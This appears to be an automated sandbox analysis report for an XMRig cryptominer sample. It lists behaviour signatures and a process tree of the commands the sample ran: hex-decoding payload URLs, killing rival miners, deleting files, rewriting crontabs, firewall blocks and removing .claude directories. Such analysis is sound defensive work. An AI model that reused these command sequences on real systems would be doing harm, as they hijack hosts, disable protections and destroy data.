Analysis
- max time kernel
150s - max time network
120s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
- submitted
22/10/2026, 14:06
General
- Target afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
- Size 68KB
- Sample261022-repdfacz4w
- SHA256 afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
- Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs
Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Disables SELinux 1 TTPs 8 IoCs
Disables SELinux security module.
- Enumerates running processes
Discovers information about currently running processes on the system
- Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
- Write file to user bin folder 6 IoCs
- Writes file to system bin folder 8 IoCs
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 33 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d51⤵
- Modifies the /etc/hosts DNS resolution file
- Write file to user bin folder
- Writes file to system bin folder
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3233342f6173736574732f696d672f75706c6f6164732f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3232362f6d35317372632f7075626c69632f63616368652f73746f7265732f72656469732f6c616e672⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3138352e3131392e39302e3230362f776562636861742f696d616765732f66696c6574797065732⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/readlinkreadlink /proc/110/exe2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/readlinkreadlink /proc/124/exe2⤵
-
-
/bin/readlinkreadlink /proc/125/exe2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/readlinkreadlink /proc/156/exe2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/readlinkreadlink /proc/162/exe2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/readlinkreadlink /proc/177/exe2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/readlinkreadlink /proc/233/exe2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/readlinkreadlink /proc/250/exe2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/readlinkreadlink /proc/334/exe2⤵
-
-
/bin/readlinkreadlink /proc/359/exe2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/readlinkreadlink /proc/361/exe2⤵
-
-
/bin/readlinkreadlink /proc/362/exe2⤵
-
-
/bin/readlinkreadlink /proc/365/exe2⤵
-
-
/bin/readlinkreadlink /proc/37/exe2⤵
-
-
/bin/readlinkreadlink /proc/380/exe2⤵
-
-
/bin/readlinkreadlink /proc/382/exe2⤵
-
-
/bin/readlinkreadlink /proc/388/exe2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/readlinkreadlink /proc/415/exe2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/readlinkreadlink /proc/660/exe2⤵
-
-
/bin/readlinkreadlink /proc/676/exe2⤵
-
-
/bin/readlinkreadlink /proc/678/exe2⤵
-
-
/bin/readlinkreadlink /proc/68/exe2⤵
-
-
/bin/readlinkreadlink /proc/685/exe2⤵
-
-
/bin/readlinkreadlink /proc/686/exe2⤵
-
-
/bin/readlinkreadlink /proc/69/exe2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/readlinkreadlink /proc/70/exe2⤵
-
-
/bin/readlinkreadlink /proc/701/exe2⤵
-
-
/bin/readlinkreadlink /proc/703/exe2⤵
-
-
/bin/readlinkreadlink /proc/708/exe2⤵
-
-
/bin/readlinkreadlink /proc/71/exe2⤵
-
-
/bin/readlinkreadlink /proc/710/exe2⤵
-
-
/bin/readlinkreadlink /proc/711/exe2⤵
-
-
/bin/readlinkreadlink /proc/713/exe2⤵
-
-
/bin/readlinkreadlink /proc/714/exe2⤵
-
-
/bin/readlinkreadlink /proc/717/exe2⤵
-
-
/bin/readlinkreadlink /proc/72/exe2⤵
-
-
/bin/readlinkreadlink /proc/73/exe2⤵
-
-
/bin/readlinkreadlink /proc/758/exe2⤵
-
-
/bin/readlinkreadlink /proc/76/exe2⤵
-
-
/bin/readlinkreadlink /proc/760/exe2⤵
-
-
/bin/readlinkreadlink /proc/77/exe2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/10/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/11/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/110/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/12/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/124/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/125/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/13/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/14/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/15/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/156/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/16/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/162/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/17/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/177/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/18/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/19/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/2/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/20/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/21/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/22/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/23/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/233/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/24/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/250/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/3/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/334/status2⤵
-
-
/bin/readlinkreadlink /proc/334/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/359/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/36/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/361/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/362/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/365/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/37/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/380/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/382/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/388/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/4/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/415/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/5/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/6/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/660/status2⤵
-
-
/bin/readlinkreadlink /proc/660/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/676/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/678/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/68/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/685/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/686/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/69/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/7/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/70/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/701/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/708/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/71/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/710/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/711/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/713/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/717/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/72/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/73/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/76/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/77/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/78/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/8/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/81/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/814/status2⤵
-
-
/bin/readlinkreadlink /proc/814/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/827/status2⤵
-
-
/bin/readlinkreadlink /proc/827/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/83/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/853/status2⤵
-
-
/bin/readlinkreadlink /proc/853/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/9/status2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/pkillpkill -9 -f auditsd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f gt_sys_health2⤵
-
-
/usr/bin/pkillpkill -9 -f gt_cron_health2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f gt_sys_wd2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f ssl-compet2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sslmon2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f mnmonitor2⤵
-
-
/usr/bin/pkillpkill -9 -f cpuhide2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.xmon"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "\\.global"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f rsysloged2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "\\.sd-top"2⤵
-
-
/usr/bin/pkillpkill -9 -f zzh2⤵
-
-
/usr/bin/pkillpkill -9 -f esocket42⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "ok\\.sh"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f universal-miner2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f kthrotlds2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f kdevtmpfsi2⤵
-
-
/usr/bin/pkillpkill -9 -f khugepageds2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "CRON jobs"2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "sleep 180"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "sh jobs"2⤵
-
-
/usr/bin/pkillpkill -9 -f "/bin/sh jobs"2⤵
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f apt-update2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "joker\\."2⤵
-
-
/usr/bin/pkillpkill -9 -f sysnet2⤵
-
-
/usr/bin/pkillpkill -9 -f systemd-journal-shim2⤵
-
-
/usr/bin/pkillpkill -9 -f hldaemon2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f /etc/cron2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f /etc/kworker2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/javaa2⤵
-
-
/usr/bin/pkillpkill -9 -f /dev/shm/javaa2⤵
-
-
/bin/rmrm -rf /var/tmp/.sysnet /tmp/.sysnet /dev/shm/.sysnet /etc/.sysnet2⤵
-
-
/bin/rmrm -f /etc/cron /etc/kworker /etc/javaa /dev/shm/javaa /var/tmp/javaa /tmp/javaa /etc/cron.d/javaa2⤵
-
-
/bin/sedsed -i "/kworker/d;/javaa/d" /etc/crontab "/etc/cron.d/*"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "kworker|javaa|sysnet"2⤵
-
-
/bin/rmrm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json2⤵
-
-
/bin/rmrm -rf /dev/shm/.xmon-112 "/dev/shm/.xmon*" "/dev/shm/xmon*" "/tmp/.xmon*" "/var/tmp/.xmon*" "~/.cache/.dbus/mnmonitor.sh"2⤵
-
-
/bin/rmrm -rf "/opt/*/bin/.global*" "/opt/teamcity/bin/.global*" "/opt/TeamCity/bin/.global*"2⤵
-
-
/bin/rmrm -rf "/tmp/.global*" "/dev/shm/.global*" "/var/tmp/.global*"2⤵
-
-
/bin/rmrm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /etc/httpgd /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs "/tmp/.rod*" "/tmp/.mer*" "/tmp/.hod*" /tmp/khugepageds /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/.scr /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/java /tmp/j2.conf "/tmp/.pt*" /tmp/go /tmp/go.sh /tmp/go2.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh2⤵
-
-
/bin/rmrm -f /usr/local/lib/libioset.so /usr/bin/config.json /usr/bin/exin /etc/ndt.sh /etc/is.sh2⤵
-
-
/bin/rmrm -rf /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /root/.universal-miner "/home/*/.universal-miner"2⤵
-
-
/bin/rmrm -rf /tmp/.b/ded /tmp/.salkidwuewerwe/ded /tmp/.mmmjjsdfsdfwerrwerwer/ded2⤵
-
-
/bin/rmrm -rf "/var/www/.syslog*" "/var/tmp/.syslog*" "/tmp/.syslog*" "/dev/shm/.syslog*"2⤵
-
-
/bin/rmrm -rf /var/lib/gitea/data/home/.claude "/var/www/html/*/.claude" /app/gitea/.claude /data/gitea/.claude /data/gitea/home/.claude /data/gitea/data/home/.claude /data/.claude /data/home/.claude2⤵
-
-
/usr/bin/findfind / -type d -name .claude -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.226 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 193.41.68.194 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.149 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -p tcp --dport 53535 -j DROP2⤵
-
-
/bin/grepgrep -q apt-update.com /etc/hosts2⤵
-
-
/bin/grepgrep -q joker.aec944b68370194a50.link /etc/hosts2⤵
-
-
/bin/systemctlsystemctl stop moneroocean_miner.service systemde.service2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/rmrm -rf /tmp/watchdogs /etc/rc.d/init.d/watchdogs /usr/sbin/watchdogs /etc/cron.d/tomcat2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ".xmon*" -exec rm -rf "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ssl-compet -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name ".global*" -exec rm -rf "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name esocket4 -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name mnmonitor.sh -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name .xmon_install_dir -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name "*.universal-miner*" -exec rm -rf "{}" ";"2⤵
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/awkawk -F: "\$3>=1000{print \$1}" /etc/passwd2⤵
-
-
/usr/bin/crontabcrontab -u nobody -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u nobody -l2⤵
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u user -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -u user -l2⤵
-
-
/bin/sedsed -i /pastebin/d /etc/crontab "/etc/cron.d/*"2⤵
-
-
/usr/bin/pkillpkill -9 -f pastebin.com/raw2⤵
- Reads CPU attributes
-
-
/sbin/iptablesiptables -I OUTPUT -d 45.77.67.39 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.158.58 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.139.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.179 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.0/24 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 167.179.119.120 -j DROP2⤵
-
-
/bin/grepgrep -q fix.unknower.win /etc/hosts2⤵
-
-
/bin/grepgrep -q auto.c3pool.org /etc/hosts2⤵
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/freefree -m2⤵
-
-
/bin/syncsync2⤵
-
-
/usr/bin/freefree -m2⤵
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/whichwhich cd12⤵
-
-
/usr/bin/whichwhich wd12⤵
-
-
/usr/bin/pgreppgrep -f xmrig2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f minerd2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f cpuminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f ethminer2⤵
- Reads runtime system information
